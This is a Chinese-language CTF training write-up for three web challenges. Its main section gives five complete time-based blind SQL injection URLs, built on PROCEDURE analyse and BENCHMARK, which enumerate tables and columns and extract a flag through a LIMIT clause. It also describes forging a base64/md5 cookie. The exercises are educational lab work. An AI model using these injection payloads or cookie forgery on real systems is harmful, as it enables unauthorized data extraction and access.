hduisa_ctf_week2_writeup

Problem ID:7

颇有技巧的SQL注入

真的是一题让我学到了很多的题目啊。一步一步来,首先为了做这道题,我查看了大概一下的资料:
SQL Injections in MySQL LIMIT clause
MySQL Injection Quick Reference
SQLi Labs 指南 Part 1
SQLi Labs 指南 Part 2
hint

大概总结下就是一般的步骤为:
1.爆数据库的个数
2.爆数据库的名字
3.爆表的个数
4.爆表的名字
5.爆表的字段数
6.爆表的字段名
7.爆表中的内容
然后我就开始从hint出发,开始构造payload。开始看了下hint中给出的两个payload,一个是爆数据库的个数的,一个是爆数据库的名字的,但是做到后来才发现,其实这两步在这个题中也不是十分必要的,因为,这道题我们已经在这个数据库中了,后来的payload中不用到数据库的名字也是可以的。然后就是爆表的各个部分了,一开始看了下表的个数,

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(COUNT(TABLE_NAME) AS CHAR),0x20)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() LIMIT 0,1),1,1)) = 99 , BENCHMARK(5000000,SHA1(1)),1))))),1);

接下来就是爆表的名字了

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(table_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = DATABASE() LIMIT 0,1),1,1)) = 99 , BENCHMARK(5000000,SHA1(1)),1))))),1);

然后是表的字段数

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(COUNT(*) AS CHAR),0x20)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x666C6167 AND TABLE_SCHEMA = DATABASE() LIMIT 0,1),1,1)) = 99 , BENCHMARK(5000000,SHA1(1)),1))))),1);

然后是爆表的字段名

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(COLUMN_NAME AS CHAR),0x20)) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x666C6167 AND TABLE_SCHEMA = DATABASE() LIMIT 0,1),1,1)) = 99 , BENCHMARK(5000000,SHA1(1)),1))))),1);

最后就是爆表的内容

1
http://104.236.171.163/week2/limit/?l=1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(ORD(MID((SELECT DISTINCT(IFNULL(CAST(ctf_limit_flag AS CHAR),0x20)) FROM flag LIMIT 0,1),1,1)) = 99 , BENCHMARK(5000000,SHA1(1)),1))))),1);

最后得到flag。

Problem ID:8

简单的题目

根据题目描述, GET ID = FLAG!,尝试提交一个get表单,`ID=FLAG`,构造URL,得到flag。

Problem ID:9

基础训练

查看饼干,发现有个饼干是这样的flag=bGlnaHRsZXNzOjQ3NmExMGYxZjNkZGU1MWQxYjUyMjY3YzFhY2NjMzll应该是主要考加密解密的,base64解一下,得到lightless:476a10f1f3dde51d1b52267c1accc39e,应该是名字:md5(名字)的模式,根据首页的提示,要用我名字的罗马音哦~,逆向的进行一步一步加密,Tobiichi Origami:097b235243b09755b3f586f201e8da8d然后得到VG9iaWljaGkgT3JpZ2FtaTowOTdiMjM1MjQzYjA5NzU1YjNmNTg2ZjIwMWU4ZGE4ZA==,用这个换掉原来的饼干,done!

week2的题目后面两道,虽然有一点点小失误(有一题base64转码的过程中,把空格进行了URL编码,导致一直不对但是后来想到了就秒了),但基本上还算是秒掉的。但是第一题确实是比较困难的,做的过程中看了很多资料,也增加了自己的很多知识,弥补了很多的不足。挺好的。训练还是有用的。
期待week3!